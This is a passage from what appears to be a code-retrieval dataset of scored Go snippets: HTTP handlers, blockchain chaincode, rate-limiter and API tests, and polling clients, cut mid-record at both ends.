nonHashData.TransactionResult[j].Error)\n\t\t\t\terrTransactions++\n\t\t\t}\n\t\t}\n\t}\n\tif errTransactions > 0 {\n\t\tfmt.Println(\"========= Failed transactions #\", errTransactions)\n\t}\n\tfmt.Println(\"========= Successful transactions #\", counter-errTransactions)\n\n\tnewVal,err := strconv.ParseInt(val2, 10, 64);\n\n\tif err != nil {\n\t\t\tfmt.Println(\"Failed to convert \",val2,\" to int64\\n Error: \", err)\n\t}*/\n\n\t//TODO: Block size again depends on the Block configuration in pbft config file\n\t//Test passes when 2 * block height match with total transactions, else fails\n\tif (newVal == counter) {\n\t\tfmt.Println(\"######### TEST PASSED #########\")\n\t} else {\n\t\tfmt.Println(\"######### TEST FAILED #########\")\n\t}\n\n}", "title": "" }, { "docid": "8c56ad723ea7c1f97f20d08ce3d746f8", "score": "0.43593186", "text": "func TestFetch(t *testing.T) {\n baseUri := \"http://localhost:8080\" \n //baseUri := \"https://dex.binance.org\"\n for key, value := range helpers.FetchTestCases {\n fmt.Println(key)\n start := time.Now()\n for i := 0; i < 50; i++ {\n result, err := BinanceRequest(key, baseUri , value)\n if i%1000 == 0 {\n fmt.Println(string(result))\n }\n if err != nil {\n t.Error(err)\n }\n }\n end := time.Now()\n elapsed := end.Sub(start)\n fmt.Println(elapsed)\n fmt.Println(50000/int(elapsed.Milliseconds()))\n}\n}", "title": "" }, { "docid": "50fc60e486f67d7e6c10a84284872b9b", "score": "0.4358302", "text": "func BackoffDPHolding(w http.ResponseWriter, r *http.Request) {\r\n\r\n\tClientCode := r.URL.Query().Get(\"ClientCode\")\r\n\r\n\tconfig := CheckConfig()\r\n\r\n\turl := config.ServiceURL + \"BackoffDPHolding\"\r\n\r\n\tmethod := \"POST\"\r\n\r\n\theader := Header{AppName: config.AppName, AppVer: config.AppVer, Key: config.Key, OsName: config.OsName, RequestCode: config.RequestCodeBackoffDPHolding, UserID: config.UserID, Password: config.Password}\r\n\r\n\tbody := BackoffMutualFundTranBody{ClientCode: ClientCode, FromDate: \"20190101\", ToDate: \"20201001\"}\r\n\r\n\tBackDPDPHoldingData := BackMutualFundTranBodyReq{Head: header, Body: body}\r\n\r\n\tdata, _ := json.Marshal(BackDPDPHoldingData)\r\n\r\n\tpayload := strings.NewReader(string(data))\r\n\r\n\tbodyString := HTTPClient(method, url, payload)\r\n\tjson.NewEncoder(w).Encode(bodyString)\r\n\r\n\tvar BackoffDPHoldingRes BackoffDPHoldingResponse\r\n\r\n\t// json to golang struct\r\n\tjson.Unmarshal([]byte(bodyString), &BackoffDPHoldingRes)\r\n\tfmt.Printf(\"Message: %s, StatusDescription: %s\", BackoffDPHoldingRes.Body.Message, BackoffDPHoldingRes.Head.StatusDescription)\r\n\r\n}", "title": "" }, { "docid": "b92cc59211eadcec9aaba88c02e8ace6", "score": "0.4355819", "text": "func (t *Deliverys) getAllDAPDeliveryDate(stub shim.ChaincodeStubInterface, args []string) pb.Response {\r\n\r\n if len(args) != 2 {\r\n\t\treturn shim.Error(\"2 arguements required\")\r\n }\r\n D1 := args[0]\r\n D2 := args[1]\r\n\r\n Date1, _err := strconv.Atoi(D1) //Date 1\r\n if _err != nil {\r\n\t\treturn shim.Error(_err.Error())\r\n\t}\r\n\tDate2, _err1 := strconv.Atoi(D2) //Date 2\r\n if _err1 != nil {\r\n\t\treturn shim.Error(_err1.Error())\r\n\t}\r\n \r\n\tvar jsonResp, errResp string\r\n\tvar err error\r\n\tvar DeliveryIndex []string\r\n\r\n\tfmt.Println(\"- start getAllDAPDeliveryDate\")\r\n\tDelivery_Bytes, err := stub.GetState(DelIndexStr)\r\n\tif err != nil {\r\n\t\treturn shim.Error(\"Failed to get DAP Delivery Request index\")\r\n\t}\r\n\tfmt.Print(\"Delivery_Bytes : \")\r\n\tfmt.Println(Delivery_Bytes)\r\n\tjson.Unmarshal(Delivery_Bytes, &DeliveryIndex)\t\t//un stringify it aka JSON.parse()\r\n\tfmt.Print(\"DeliveryIndex : \")\r\n\tfmt.Println(DeliveryIndex)\r\n\tfmt.Println(\"len(DeliveryIndex) : \")\r\n\tfmt.Println(len(DeliveryIndex))\r\n\tjsonResp = \"[\"\r\n\tfor i,val := range DeliveryIndex{\r\n\t\tfmt.Println(strconv.Itoa(i) + \" - looking at \" + val + \" for all Reg request\")\r\n\t\tvalueAsBytes, err := stub.GetState(val)\r\n\t\tif err != nil {\r\n\t\t\terrResp = \"{\\\"Error\\\":\\\"Failed to get state for \" + val + \"\\\"}\"\r\n\t\t\treturn shim.Error(errResp)\r\n\t\t}\r\n\t\tfmt.Print(\"valueAsBytes : \")\r\n fmt.Println(valueAsBytes)\r\n \r\n delivery := Delivery{}\r\n json.Unmarshal(valueAsBytes, &delivery)\r\n if (delivery.Transaction_date >= Date1 && delivery.Transaction_date <= Date2) {\r\n\t\tjsonResp = jsonResp + string(valueAsBytes[:])\r\n\t\tif i < len(DeliveryIndex)-1 {\r\n\t\t\tjsonResp = jsonResp + \",\"\r\n }\r\n }\r\n\t}\r\n\t// sz := len(jsonResp)\r\n\t// if sz > 0 && jsonResp[sz] == ',' { \r\n\t// \tjsonResp = jsonResp[:sz-1]\r\n\t// }\r\n\tjsonResp = jsonResp + \"]\"\r\n\tfmt.Println(\"jsonResp : \" + jsonResp)\r\n\tfmt.Println(\"end getAllDAPDelivery\")\r\n\ttosend := \"Event send\"\r\n err = stub.SetEvent(\"evtsender\", []byte(tosend))\r\n if err != nil {\r\n return shim.Error(err.Error())\r\n }\r\n\treturn shim.Success([]byte(jsonResp))\r\n}", "title": "" }, { "docid": "e238873125aafdf20069548afe5ae83e", "score": "0.4355129", "text": "func TESTFlowStakingCollection(\n\tfungibleTokenAddress,\n\tflowTokenAddress,\n\tidTableAddress,\n\tstakingProxyAddress,\n\tlockedTokensAddress,\n\tstorageFeesAddress,\n\tqcAddress,\n\tdkgAddress,\n\tepochAddress string,\n) []byte {\n\tcode := assets.MustAssetString(flowStakingCollectionFilename)\n\n\tcode = strings.ReplaceAll(code, placeholderFungibleTokenAddress, withHexPrefix(fungibleTokenAddress))\n\tcode = strings.ReplaceAll(code, placeholderFlowTokenAddress, withHexPrefix(flowTokenAddress))\n\tcode = strings.ReplaceAll(code, placeholderIDTableAddress, withHexPrefix(idTableAddress))\n\tcode = strings.ReplaceAll(code, placeholderStakingProxyAddress, withHexPrefix(stakingProxyAddress))\n\tcode = strings.ReplaceAll(code, placeholderLockedTokensAddress, withHexPrefix(lockedTokensAddress))\n\tcode = strings.ReplaceAll(code, placeholderStorageFeesAddress, withHexPrefix(storageFeesAddress))\n\tcode = strings.ReplaceAll(code, placeholderQCAddr, withHexPrefix(qcAddress))\n\tcode = strings.ReplaceAll(code, placeholderDKGAddr, withHexPrefix(dkgAddress))\n\tcode = strings.ReplaceAll(code, placeholderEpochAddr, withHexPrefix(epochAddress))\n\n\tcode = strings.ReplaceAll(code, \"access(self)\", \"pub\")\n\n\treturn []byte(code)\n}", "title": "" }, { "docid": "b53588d5d76db4efa0d8a881a3661b81", "score": "0.43545815", "text": "func TestRoll(t *testing.T) {\n\ttype response struct {\n\t\tCode int\n\t\tBody string\n\t}\n\ttests := []struct {\n\t\tname string\n\t\targs string\n\t\twant response\n\t}{\n\t\t{\"Default roll\", \"\", response{http.StatusOK, ``}},\n\t\t{\"Valid query for sides\", \"?sides=4\", response{http.StatusOK, `\"sides\":4`}},\n\t\t{\"Invalid query for sides\", \"?sides=5\", response{http.StatusNotAcceptable, `\"invalid sides\"`}},\n\t\t{\"Valid query for count\", \"?count=2\", response{http.StatusOK, `\"count\":2`}},\n\t\t{\"Invalid query for count\", \"?count=0\", response{http.StatusNotAcceptable, `\"invalid count\"`}},\n\t\t{\"Valid query for sides, invalid for count\", \"?sides=4&count=0\", response{http.StatusNotAcceptable, `\"invalid count\"`}},\n\t\t{\"Valid query for count, invalid for sides\", \"?count=2&sides=1\", response{http.StatusNotAcceptable, `\"invalid sides\"`}},\n\t\t{\"Valid query for sides and count\", \"?sides=4&count=2\", response{http.StatusOK, `\"count\":2,\"sides\":4`}},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tr := gofight.New()\n\n\t\t\tr.GET(\"/api/v1/roll\"+tt.args).\n\t\t\t\tRun(router, func(r gofight.HTTPResponse, rq gofight.HTTPRequest) {\n\t\t\t\t\tif r.Code != tt.want.Code {\n\t\t\t\t\t\tt.Errorf(\"Handler returned wrong status code: got %v want %v\", r.Code, tt.want.Code)\n\t\t\t\t\t}\n\n\t\t\t\t\tif !bytes.Contains(r.Body.Bytes(), []byte(tt.want.Body)) {\n\t\t\t\t\t\tt.Errorf(\"Unexpected body returned.\\ngot %v\\nwant %v\", r.Body, tt.want.Body)\n\t\t\t\t\t}\n\t\t\t\t})\n\t\t})\n\t}\n}", "title": "" }, { "docid": "2915e2af5a682713aca055632d843358", "score": "0.43437585", "text": "func (s *server) getLTV(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t// Get a user ID from the query parameters.\n\tuserID := r.URL.Query().Get(\"userId\")\n\n\t// Get all events, in raw format, from the database.\n\tvar dbEvents []dbEvent\n\terr := s.DB.SelectContext(r.Context(), &dbEvents, `\n\t\tselect\n\t\t\tpayload\n\t\tfrom\n\t\t\tevents\n\t\twhere\n\t\t\tpayload->>'type' = 'Order Completed' and\n\t\t\tpayload->>'userId' = $1\n\t`, userID)\n\n\tif err != nil {\n\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\tfmt.Fprintf(w, \"%s\", err)\n\t\treturn\n\t}\n\n\t// Convert the raw database events into friendlier Golang events.\n\t//\n\t// Thankfully for us, JDDF makes this super easy to do. The auto-generated\n\t// types for an event already have appropriate \"json\" tags and\n\t// MarhshalJSON/UnmarshalJSON implementations.\n\tevents := make([]event.Event, len(dbEvents))\n\tfor i, dbEvent := range dbEvents {\n\t\t// The only way this json.Unmarshal operation can fail is if someone other\n\t\t// than this service inserted data into the database, and they didn't follow\n\t\t// the JDDF schema we use.\n\t\t//\n\t\t// Thanks to JDDF, it's guaranteed that if everyone who uses this database\n\t\t// uses the same JDDF schema, then parsing out raw Postgres jsonb data into\n\t\t// our Golang structs is a safe and error-proof operation.\n\t\tif err := json.Unmarshal(dbEvent.Payload, &events[i]); err != nil {\n\t\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\t\tfmt.Fprintf(w, \"%s\", err)\n\t\t\treturn\n\t\t}\n\t}\n\n\t// Now that we have our raw jsonb data parsed into something conveninent for\n\t// Golang manipulation, let's sum over the revenue of all the returned events.\n\tsum := 0.0\n\tfor _, event := range events {\n\t\t// We happen to know, from how we wrote our SQL, that all of these events\n\t\t// are of the \"Order Completed\" type. But if you're feeling cautious, you\n\t\t// could do an assertion to ensure the event.Type is always\n\t\t// EventTypeOrderCompleted.\n\t\tsum += event.EventOrderCompleted.Revenue\n\t}\n\n\t// Send back the calculated sum to the user.\n\tw.WriteHeader(http.StatusOK)\n\tfmt.Fprintf(w, \"%f\", sum)\n}", "title": "" }, { "docid": "2b63e71f6e0279507b96fdedc4b1fdb0", "score": "0.43341976", "text": "func TestGetEventStatusOK(t *testing.T) {\n\thandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tassert.Equal(t, r.Method, \"GET\", \"Expect GET request\")\n\t\tassert.Equal(t, r.URL.EscapedPath(), \"/event\", \"Expect /event endpoint\")\n\t\tw.WriteHeader(http.StatusOK)\n\t\teventList := `{\n\t\t\t\"events\":[\n\t\t\t\t{\"contenttype\":\"application/json\",\n\t\t\t\t\t\"data\":{\"deploymentstrategy\":\"blue_green_service\",\n\t\t\t\t\t\"evaluationdetails\":{\"result\": \"pass\"},\n\t\t\t\t\t\"evaluationpassed\":true,\n\t\t\t\t\t\"project\":\"sockshop\",\n\t\t\t\t\t\"service\":\"carts\",\n\t\t\t\t\t\"stage\":\"production\",\n\t\t\t\t\t\"teststrategy\":\"\"},\n\t\t\t\t\"id\":\"aaa50752-ab33-493b-8b28-3548f7960f80\",\n\t\t\t\t\"source\":\"pitometer-service\",\n\t\t\t\t\"specversion\":\"0.2\",\n\t\t\t\t\"time\":\"2019-10-21T14:12:48.000Z\",\n\t\t\t\t\"type\":\"sh.keptn.events.evaluation-done\",\n\t\t\t\t\"shkeptncontext\":\"8929e5e5-3826-488f-9257-708bfa974909\"},\n\t\t\t\t\n\t\t\t\t{\"contenttype\":\"application/json\",\n\t\t\t\t\t\"data\":{\"deploymentstrategy\":\"blue_green_service\",\n\t\t\t\t\t\"evaluationdetails\":{\"result\": \"pass\"},\n\t\t\t\t\t\"evaluationpassed\":true,\n\t\t\t\t\t\"project\":\"sockshop\",\n\t\t\t\t\t\"service\":\"carts\",\n\t\t\t\t\t\"stage\":\"staging\",\n\t\t\t\t\t\"teststrategy\":\"performance\"},\n\t\t\t\t\"id\":\"573610d2-3643-4513-9a8e-df7c6614356f\",\n\t\t\t\t\"source\":\"pitometer-service\",\n\t\t\t\t\"specversion\":\"0.2\",\n\t\t\t\t\"time\":\"2019-10-21T14:10:05.000Z\",\n\t\t\t\t\"type\":\"sh.keptn.events.evaluation-done\",\n\t\t\t\t\"shkeptncontext\":\"8929e5e5-3826-488f-9257-708bfa974909\"},\n\t\t\t\t\n\t\t\t\t{\"contenttype\":\"application/json\",\n\t\t\t\t\t\"data\":{\"deploymentstrategy\":\"direct\",\n\t\t\t\t\t\"evaluationdetails\":{\"result\": \"pass\"},\n\t\t\t\t\t\"evaluationpassed\":true,\n\t\t\t\t\t\"project\":\"sockshop\",\n\t\t\t\t\t\"service\":\"carts\",\n\t\t\t\t\t\"stage\":\"dev\",\n\t\t\t\t\t\"teststrategy\":\"functional\"},\n\t\t\t\t\"id\":\"a46be431-b45b-4f18-bf74-73fc7d2da062\",\n\t\t\t\t\"source\":\"pitometer-service\",\n\t\t\t\t\"specversion\":\"0.2\",\n\t\t\t\t\"time\":\"2019-10-21T14:04:25.000Z\",\n\t\t\t\t\"type\":\"sh.keptn.events.evaluation-done\",\n\t\t\t\t\"shkeptncontext\":\"8929e5e5-3826-488f-9257-708bfa974909\"}],\n\t\t\t\t\n\t\t\t\t\"pageSize\":10,\n\t\t\t\t\"totalCount\":3\n\t\t\t}`\n\n\t\tw.Write([]byte(eventList))\n\t})\n\n\thttpClient, teardown := testingHTTPClient(handler)\n\tdefer teardown()\n\n\teventHandler := NewEventHandler(\"https://localhost\")\n\teventHandler.HTTPClient = httpClient\n\tcloudEvent, errObj := eventHandler.GetEvent(\"8929e5e5-3826-488f-9257-708bfa974909\", \"sh.keptn.events.evaluation-done\")\n\n\tif cloudEvent == nil {\n\t\tt.Error(\"no Keptn event returned\")\n\t}\n\n\t// check whether the last event is returned\n\tif timeutils.GetKeptnTimeStamp(cloudEvent.Time) != \"2019-10-21T14:12:48.000Z\" {\n\t\tt.Error(\"did not receive the latest event\")\n\t}\n\n\tif errObj != nil {\n\t\tt.Errorf(\"an error occurred %v\", errObj.Message)\n\t}\n}", "title": "" }, { "docid": "fd92997da0dc9e1febba158d98e0d9f6", "score": "0.43322247", "text": "func testUrl(url string, idx int, result chan CheckResult) {\n\tclient := http.Client{}\n\treq, err := http.NewRequest(\"GET\", url, nil)\n\tif err != nil {\n\t\tlog.Println(\"Failed to generate new request\")\n\t\tresult <- CheckResult{idx, url, false, true, nil}\n\t\treturn\n\t}\n\treq.Header.Add(\"Accept-Encoding\", \"gzip,deflate\")\n\tstart := time.Now()\n\tresp, err := client.Do(req)\n\tduration := time.Since(start)\n\tif err != nil {\n\t\tlog.Println(\"Request failed: %s\", err)\n\t\tresult <- CheckResult{idx, url, false, true, &duration}\n\t\treturn\n\t}\n\tencoding := resp.Header.Get(\"Content-Encoding\")\n\tif strings.Contains(encoding, \"gzip\") || strings.Contains(encoding, \"deflate\") {\n\t\tresult <- CheckResult{idx, url, true, false, &duration}\n\t\treturn\n\t}\n\tresult <- CheckResult{idx, url, false, false, &duration}\n}", "title": "" }, { "docid": "a7f2484955f0ea56296436d76d0fa9f2", "score": "0.43274084", "text": "func (m *Manager) GetTickers(w http.ResponseWriter, r *http.Request) {\n\tm.RLock()\n\tdefer m.RUnlock()\n\tw.Header().Set(\"Content-Type\", \"application/json; charset=UTF-8\")\n\tw.WriteHeader(http.StatusOK)\n\tif err := json.NewEncoder(w).Encode(m.WatchingTicker); err != nil {\n\t\tlogger.Errorf(\"Serving request: %s\", err)\n\t}\n}", "title": "" }, { "docid": "a69d42e92b4f7210a4e6d092d3a1c596", "score": "0.43252257", "text": "func Poll() <-chan int8 {\n\titems := make(chan int8, 1)\n\n\tuser, url := config.GetConfig()\n\tendpoint := url + \"/rest/api/1.0/dashboard/pull-requests?state=OPEN&role=REVIEWER&participantStatus=UNAPPROVED\"\n\n\tpass, ok, _ := config.AskPass()\n\tif !ok {\n\t\tsystray.Quit()\n\t}\n\n\tticker := time.NewTicker(pInterval)\n\n\tclient := &http.Client{}\n\treq, _ := http.NewRequest(\"GET\", endpoint, nil)\n\treq.SetBasicAuth(user, pass)\n\n\tgo func(items chan int8) {\n\t\tcBackOffDelay := int(10)\n\t\tfor ; true; <-ticker.C {\n\t\t\tresp, _ := client.Do(req)\n\n\t\t\tif resp != nil {\n\t\t\t\tif resp.StatusCode == 200 {\n\t\t\t\t\tbodyText, _ := ioutil.ReadAll(resp.Body)\n\t\t\t\t\titems <- int8(gjson.Get(string(bodyText), \"size\").Uint())\n\t\t\t\t\tcBackOffDelay = 10\n\t\t\t\t} else if resp.StatusCode == 401 || resp.StatusCode == 403 {\n\t\t\t\t\tticker.Stop()\n\t\t\t\t\titems <- int8(-2)\n\t\t\t\t} else if resp.StatusCode == 429 {\n\t\t\t\t\titems <- int8(-3)\n\t\t\t\t\tcBackOffDelay = backOff(cBackOffDelay)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\titems <- int8(-1)\n\t\t\t}\n\t\t}\n\t}(items)\n\n\treturn items\n}", "title": "" }, { "docid": "9352e4ebcf1a5aceffd5fe2eb1b4a4b7", "score": "0.43145013", "text": "func Test_Limiter_Fixed_Window_Custom_Storage_No_Skip_Choices(t *testing.T) {\n\tt.Parallel()\n\tapp := fiber.New()\n\n\tapp.Use(New(Config{\n\t\tMax: 2,\n\t\tExpiration: 2 * time.Second,\n\t\tSkipFailedRequests: false,\n\t\tSkipSuccessfulRequests: false,\n\t\tStorage: memory.New(),\n\t\tLimiterMiddleware: FixedWindow{},\n\t}))\n\n\tapp.Get(\"/:status\", func(c *fiber.Ctx) error {\n\t\tif c.Params(\"status\") == \"fail\" {\n\t\t\treturn c.SendStatus(400)\n\t\t}\n\t\treturn c.SendStatus(200)\n\t})\n\n\tresp, err := app.Test(httptest.NewRequest(fiber.MethodGet, \"/fail\", nil))\n\tutils.AssertEqual(t, nil, err)\n\tutils.AssertEqual(t, 400, resp.StatusCode)\n\n\tresp, err = app.Test(httptest.NewRequest(fiber.MethodGet, \"/success\", nil))\n\tutils.AssertEqual(t, nil, err)\n\tutils.AssertEqual(t, 200, resp.StatusCode)\n\n\tresp, err = app.Test(httptest.NewRequest(fiber.MethodGet, \"/success\", nil))\n\tutils.AssertEqual(t, nil, err)\n\tutils.AssertEqual(t, 429, resp.StatusCode)\n\n\ttime.Sleep(3 * time.Second)\n\n\tresp, err = app.Test(httptest.NewRequest(fiber.MethodGet, \"/success\", nil))\n\tutils.AssertEqual(t, nil, err)\n\tutils.AssertEqual(t, 200, resp.StatusCode)\n}", "title": "" }, { "docid": "1ee755b0942e5a815b2c53572288e68f", "score": "0.4314114", "text": "func TestGetDataFromUrlSuccessful(t *testing.T) {\n\tdefer gock.Off()\n\n\tapiUrl := \"https://example.com\"\n\tapiPath := \"status\"\n\texpectedResponse := \"anything\"\n\n\tgock.New(apiUrl).\n\t\tGet(apiPath).\n\t\tReply(200).\n\t\tBodyString(expectedResponse)\n\n\tactualResponse, err := getDataFromURL(apiUrl+\"/\"+apiPath, ioutil.ReadAll)\n\n\tassert.Equal(t, []byte(expectedResponse), actualResponse)\n\tassert.NoError(t, err)\n}", "title": "" }, { "docid": "45a444efdf0046dc9d33e4a69a45afe0", "score": "0.430358", "text": "func TestGetExtraviadosTodos(t *testing.T) {\n\n\treq, _ := http.NewRequest(http.MethodGet, \"api/extraviados?p=1\", nil)\n\tresponse := execRequest(req, routes.GetExtraviadosTodos)\n\n\tcheckResponseCode(t, http.StatusOK, response.Code)\n\n\tif body := response.Body.String(); body != \"[]\" {\n\t\tt.Logf(\"Respuesta: %s\", body)\n\t}\n}", "title": "" }, { "docid": "4d5835b00228319b3d1eb2eeeb3dd7a8", "score": "0.430198", "text": "func TestGetPriceFor_DoesNotReturnOldResults(t *testing.T) {\n\tmockStorage := &mockStorage{\n\t\tmockResults: map[string]mockResult{\n\t\t\t\"p1\": {price: 5, err: nil},\n\t\t\t\"p2\": {price: 7, err: nil},\n\t\t},\n\t}\n\tmockCache := &mockCache{\n\t\tmaxAge: time.Millisecond * 200,\n\t}\n\tmaxAge70Pct := time.Millisecond * 140\n\tservice := NewService(mockStorage, mockCache)\n\n\t// get price for \"p1\" twice (one external service call)\n\tassertFloat(t, 5, getPriceWithNoErr(t, service, \"p1\"), \"wrong price returned\")\n\tassertFloat(t, 5, getPriceWithNoErr(t, service, \"p1\"), \"wrong price returned\")\n\tassertInt(t, 1, mockStorage.getNumCalls(), \"wrong number of service calls\")\n\t// sleep 0.7 the maxAge\n\ttime.Sleep(maxAge70Pct)\n\t// get price for \"p1\" and \"p2\", only \"p2\" should be retrieved from the external service (one more external call)\n\tassertFloat(t, 5, getPriceWithNoErr(t, service, \"p1\"), \"wrong price returned\")\n\tassertFloat(t, 5, getPriceWithNoErr(t, service, \"p1\"), \"wrong price returned\")\n\tassertFloat(t, 7, getPriceWithNoErr(t, service, \"p2\"), \"wrong price returned\")\n\tassertFloat(t, 7, getPriceWithNoErr(t, service, \"p2\"), \"wrong price returned\")\n\tassertInt(t, 2, mockStorage.getNumCalls(), \"wrong number of service calls\")\n\t// sleep 0.7 the maxAge\n\ttime.Sleep(maxAge70Pct)\n\t// get price for \"p1\" and \"p2\", only \"p1\" should be retrieved from the cache (\"p2\" is still valid)\n\tassertFloat(t, 5, getPriceWithNoErr(t, service, \"p1\"), \"wrong price returned\")\n\tassertFloat(t, 5, getPriceWithNoErr(t, service, \"p1\"), \"wrong price returned\")\n\tassertFloat(t, 7, getPriceWithNoErr(t, service, \"p2\"), \"wrong price returned\")\n\tassertInt(t, 3, mockStorage.getNumCalls(), \"wrong number of service calls\")\n}", "title": "" }, { "docid": "6a56c0632972cc841aaaec7fe80fb401", "score": "0.43010122", "text": "func PeriodLisGET(w http.ResponseWriter, r *http.Request) {\n\tsess := model.Instance(r)\n lisPeriods, err := model.Periods()\n if err != nil {\n log.Println(err)\n\t sess.AddFlash(view.Flash{\"Error Listando Periodos.\", view.FlashError})\n sess.Save(r, w)\n }\n\tv := view.New(r)\n\tv.Name = \"periodo/periodlis\"\n\tv.Vars[\"token\"] = csrfbanana.Token(w, r, sess)\n v.Vars[\"LisPeriod\"] = lisPeriods\n v.Vars[\"Level\"] = sess.Values[\"level\"]\n\tv.Render(w)\n }", "title": "" }, { "docid": "33b64752df100c14d0265c66e21a9d2f", "score": "0.42947102", "text": "func TestGetOHLCVAsyncLimit(t *testing.T) {\n\t// to be sure that, tests will pass\n\ttime.Sleep(time.Minute)\n\n\tparams := url.Values{}\n\tparams.Set(av.QueryFunction, \"TIME_SERIES_DAILY_ADJUSTED\")\n\tparams.Set(av.QuerySymbol, \"amzn\")\n\tu, _ := url.ParseRequestURI(proxyAdd)\n\tu.Path = \"/async/\"\n\tu.RawQuery = params.Encode()\n\n\treq, err := http.NewRequest(\"GET\", u.String(), nil)\n\tif err != nil {\n\t\tt.Errorf(\"error sending request: %s\", err)\n\t}\n\n\t// First 5 requests must be ok\n\tfor i := 0; i < 5; i++ {\n\t\tw := httptest.NewRecorder()\n\t\thandler.GetOHLCVAsync(w, req)\n\n\t\tif w.Code != http.StatusOK {\n\t\t\tt.Errorf(\"[%d] wrong StatusCode: got %d, expected %d\",\n\t\t\t\ti, w.Code, http.StatusOK)\n\t\t}\n\t}\n\n\t// After 5 request, exceed limit\n\tw := httptest.NewRecorder()\n\thandler.GetOHLCVAsync(w, req)\n\n\tif w.Code != http.StatusTooManyRequests {\n\t\tt.Errorf(\"[5] wrong StatusCode: got %d, expected %d\",\n\t\t\tw.Code, http.StatusTooManyRequests)\n\t}\n\n\t// after 1 minute, must be ok again\n\ttime.Sleep(time.Minute)\n\tfor i := 6; i < 8; i++ {\n\t\tw := httptest.NewRecorder()\n\t\thandler.GetOHLCVSync(w, req)\n\n\t\tif w.Code != http.StatusOK {\n\t\t\tt.Errorf(\"[%d] wrong StatusCode: got %d, expected %d\",\n\t\t\t\ti, w.Code, http.StatusOK)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "ebd57bb37640caf241072781cc825cc6", "score": "0.4293928", "text": "func Test_Limiter_Sliding_Window_Custom_Storage_No_Skip_Choices(t *testing.T) {\n\tt.Parallel()\n\tapp := fiber.New()\n\n\tapp.Use(New(Config{\n\t\tMax: 2,\n\t\tExpiration: 2 * time.Second,\n\t\tSkipFailedRequests: false,\n\t\tSkipSuccessfulRequests: false,\n\t\tStorage: memory.New(),\n\t\tLimiterMiddleware: SlidingWindow{},\n\t}))\n\n\tapp.Get(\"/:status\", func(c *fiber.Ctx) error {\n\t\tif c.Params(\"status\") == \"fail\" {\n\t\t\treturn c.SendStatus(400)\n\t\t}\n\t\treturn c.SendStatus(200)\n\t})\n\n\tresp, err := app.Test(httptest.NewRequest(fiber.MethodGet, \"/fail\", nil))\n\tutils.AssertEqual(t, nil, err)\n\tutils.AssertEqual(t, 400, resp.StatusCode)\n\n\tresp, err = app.Test(httptest.NewRequest(fiber.MethodGet, \"/success\", nil))\n\tutils.AssertEqual(t, nil, err)\n\tutils.AssertEqual(t, 200, resp.StatusCode)\n\n\tresp, err = app.Test(httptest.NewRequest(fiber.MethodGet, \"/success\", nil))\n\tutils.AssertEqual(t, nil, err)\n\tutils.AssertEqual(t, 429, resp.StatusCode)\n\n\ttime.Sleep(4 * time.Second)\n\n\tresp, err = app.Test(httptest.NewRequest(fiber.MethodGet, \"/success\", nil))\n\tutils.AssertEqual(t, nil, err)\n\tutils.AssertEqual(t, 200, resp.StatusCode)\n}", "title": "" }, { "docid": "e8eb64f984581aa594050ee3d1300a20", "score": "0.42934737", "text": "func AuctionView(context *gin.Context) {\n biddingRequestArr := []BiddingRequest{\n {\"12345\", 10}, {\"12345\", 11}, {\"12345\", 12},\n }\n // Channel will have the response of BiddingView.\n responseChannel := make(chan BiddingResponse, 30)\n for _, val := range biddingRequestArr {\n // Hitting Bidding for each slot with 10 concurrent request\n for i := 0; i < 10; i++ {\n go Bid(responseChannel, val)\n }\n }\n\n //waiting for the result of go routine.\n for i:=0;i<30;i++ {\n select {\n case res := <-responseChannel:\n context.JSON(http.StatusAccepted, res)\n case <-time.After(5 * time.Second):\n context.JSON(http.StatusGatewayTimeout, nil)\n }\n }\n}", "title": "" }, { "docid": "89a8e3e3c77538f251c4e75fc2a4cb6e", "score": "0.4291673", "text": "func getReleases(c *gin.Context) {\n\tfrom \t:= c.Query(\"from\") // shortcut for c.Request.URL.Query().Get(\"from\")\n\tuntil \t:= c.Query(\"until\") // shortcut for c.Request.URL.Query().Get(\"until\")\n\tartist \t:= c.Query(\"artist\") // shortcut for c.Request.URL.Query().Get(\"artist\")\n\n\tfmt.Println(from, until, artist)\n\n\tfromTime, err := time.Parse(YyyyMmDdLayout, from)\n\n\tif httpBadRequestError(err, c) {\n\t\treturn\n\t}\n\n\tuntilTime, err := time.Parse(YyyyMmDdLayout, until)\n\n\tif httpBadRequestError(err, c) {\n\t\treturn\n\t}\n\n\tdaysTotal := untilTime.Sub(fromTime).Hours() / TwentyFourHours\n\n\tfmt.Println(fromTime, untilTime, daysTotal)\n\n\tresponse, responseErr := getSongs(daysTotal, from, until, artist)\n\n\tfmt.Printf(\"response %vn\", response)\n\n\tif responseErr != nil {\n\t\tc.JSON(http.StatusBadRequest, responseErr)\n\t\tlog.Fatal(responseErr)\n\t\treturn\n\t}\n\n\tc.JSON(http.StatusOK, response)\n}", "title": "" }, { "docid": "6f1a5cf191ba725ae12fe7150a7e2847", "score": "0.4288173", "text": "func (t *targetrunner) httpecget(w http.ResponseWriter, r *http.Request) {\n\tvar (\n\t\tconfig = cmn.GCO.Get()\n\t)\n\tapiItems, err := t.checkRESTItems(w, r, 2, false, cmn.Version, cmn.EC)\n\tif err != nil {\n\t\treturn\n\t}\n\tbucket, objName := apiItems[0], apiItems[1]\n\tbck, err := newBckFromQuery(bucket, r.URL.Query())\n\tif err != nil {\n\t\tt.invalmsghdlr(w, r, err.Error(), http.StatusBadRequest)\n\t\treturn\n\t}\n\tlom := &cluster.LOM{T: t, ObjName: objName}\n\tif err = lom.Init(bck.Bck, config); err != nil {\n\t\tif _, ok := err.(*cmn.ErrorRemoteBucketDoesNotExist); ok {\n\t\t\tt.BMDVersionFixup(r, cmn.Bck{}, true /* sleep */)\n\t\t\terr = lom.Init(bck.Bck, config)\n\t\t}\n\t\tif err != nil {\n\t\t\tt.invalmsghdlr(w, r, err.Error())\n\t\t\treturn\n\t\t}\n\t}\n\tsliceFQN := lom.ParsedFQN.MpathInfo.MakePathFQN(bck.Bck, ec.SliceType, objName)\n\tfinfo, err := os.Stat(sliceFQN)\n\tif err != nil {\n\t\tt.invalmsghdlr(w, r, err.Error(), http.StatusNotFound)\n\t\treturn\n\t}\n\tfile, err := os.Open(sliceFQN)\n\tif err != nil {\n\t\tt.fshc(err, 